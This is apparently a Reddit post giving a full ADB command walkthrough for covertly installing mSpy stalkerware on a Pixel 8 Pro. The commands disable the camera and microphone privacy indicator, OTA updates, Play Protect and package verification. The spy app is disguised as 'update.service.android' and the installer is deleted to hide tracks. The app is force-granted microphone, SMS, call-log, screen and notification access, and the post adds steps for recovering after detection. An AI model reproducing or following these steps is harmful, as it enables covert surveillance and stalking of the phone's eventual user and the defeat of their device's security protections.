Pixel 8 Pro (Factory Unlocked) / Came with Android 16 / Auto-Updated to Android 17.
- Deleted Verizon eSIM.
- Rolled back Android 17 to Android 15.0.0 with locked bootloader.
- Skipped setup using another device, Cellular & Network Setup, and deselected/skipped all opt-in options.
- Phone is on Android 15.0.0 and has never seen the internet.
- Airplane Mode Enabled.
- Developer mode enabled.
- Bootloader unlocking: Disabled
- Automatic System Updates: Disabled
- USB Debugging: Enabled
- In ADB Shell
- Disable green dot: device_config put privacy camera_mic_icons_enabled false default
- Verified factoryota existed: pm list packages | grep ota
- Disable Over the Air OS Updates: pm disable-user --user 0 com.google.android.factoryota
- Verify Over the air transfers for factoryota are disabled: pm list packages -d
- Dump any pending updates: dumpsys package com.google.android.factoryota
- Block Google Play from device config sync: device_config set_sync_disabled_for_tests persistent
- Turn off app hibernation globally: device_config put app_hibernation app_hibernation_enable false
- Block background thread kills (MaxValue for threads): device_config put activity_manager max_phantom_processes 2147483647
- Only turn on Wifi.
- Disable core installation verifiers: settings put global package_verifier_enable 0
- Block independent ADB package scanning: settings get global verifier_verify_adb_installs 0
- Turn Airplane mode on
- Clear all of Play Protects Data: pm clear com.android.vending
- Set background Scanner to Ignore: settings put global package_verifier_enable 0
- Hard Lock PC Scanners: settings put global verifier_verify_adb_installs 0
- Scans denied when Play Store is not open: cmd appops set com.android.vending RUN_IN_BACKGROUND deny
- Verify scaning side-loaded files are disbaled "0": settings get global package_verifier_enable
- Start the intial pull down of mspy to the phones downloads folder. User Chrome without an account. Go to getmspy.net
- Do not open the file after if downloads. Close Chrome and open the Files app and verfied the installer is in downloads.
- Copy Bypass: cp /storage/emulated/0/Download/bt_installer.apk /data/local/tmp/bt_installer.apk
- Open another command prompt. Navigate to your platform tools folder and pull the file to your computer (not in shell): adb pull /data/local/tmp/bt_installer.apk
- From standard command prompt, run hybrid installation which bypasses the 24hr package installer security: adb install bt_installer.apk
- Verify "mSpy Installer" is in the app list.
- Opened mSpy Installer and complete the full install procedures.
- Hide tracks: adb shell rm /data/local/tmp/bt_installer.apk
Post Installation, the package gets renamed: update.service.android
- Whitelist:
---Bypass Background Sync Daze Mode 24/7: dumpsys deviceidle whitelist +update.service.android
---Bypass System Cleanup permission auto-revocation cmd app_hibernation set-state update.service.android false
---Prevent RAM Cleaning Kills: am set-bg-restriction-level --user 0 update.service.android unrestricted
---Grant Unrestricted Verizon Background Sync: cmd netpolicy add restrict-background-whitelist update.service.android
- Force-grants:
---Microphone: pm grant update.service.android android.permission.RECORD_AUDIO
---SMS: pm grant update.service.android android.permission.READ_SMS
---Call Logs: pm grant update.service.android android.permission.READ_CALL_LOG
---Storage: appops set update.service.android MANAGE_EXTERNAL_STORAGE allow
---Screen Captures: appops set update.service.android SYSTEM_ALERT_WINDOW allow
---App Tracking: appops set update.service.android GET_USAGE_STATS allow
---Global Write: appops set update.service.android WRITE_SETTINGS allow
---Chat: settings put secure enable_notifications_listeners %secure_notification_listeners%:update.service.android/update.service.core.services.AppNotificationListenerService
- Find the 5 digit "USERID" for update.service.android: pm dump update.service.android | more
Mine is 10283
- cmd netpolicy add restrict-background-whitelist 10283
- Reboot the phone: ADB reboot (Let the phone sit untouched for 15 minutes) Check the online mSpy portal. Note the time, and wait 48hrs for a potential Android kill.
- Retore pictures and media from the old phone via USB.
Android 48hr New App Kill Recovery. Perform all the Force Grant procedures and then ADB reboot. You do not need to reinstall. If you reinstall, you break all the deep permissions. Reboot.
Play Store detection recovery procedures:
- Turn Airplane mode on
- Clear all of Play Protects Data: pm clear com.android.vending
- Set background Scanner to Ignore: settings put global package_verifier_enable 0
- Hard Lock PC Scanners: settings put global verifier_verify_adb_installs 0
- Scans denied when Play Store is not open: cmd appops set com.android.vending RUN_IN_BACKGROUND deny
Post Verizon Activation Procedures (Optional):
- Kill the Play Service background updates pm disable-user --user 0 com.google.android.configupdater
- Kill Carrier-side remote provisioning updates: pm disable-user 0 com.google.omadm.trigger
- Kill Carrier-side remote provisioning updates: pm disable-user 0 com.android.omadm.service
Play Store Lockout Procedures:
- Disable the Play Store and it's scanning service: pm disable-user --user 0 com.android.vending
submitted by /u/Affectionate-Pace702[link] [comments]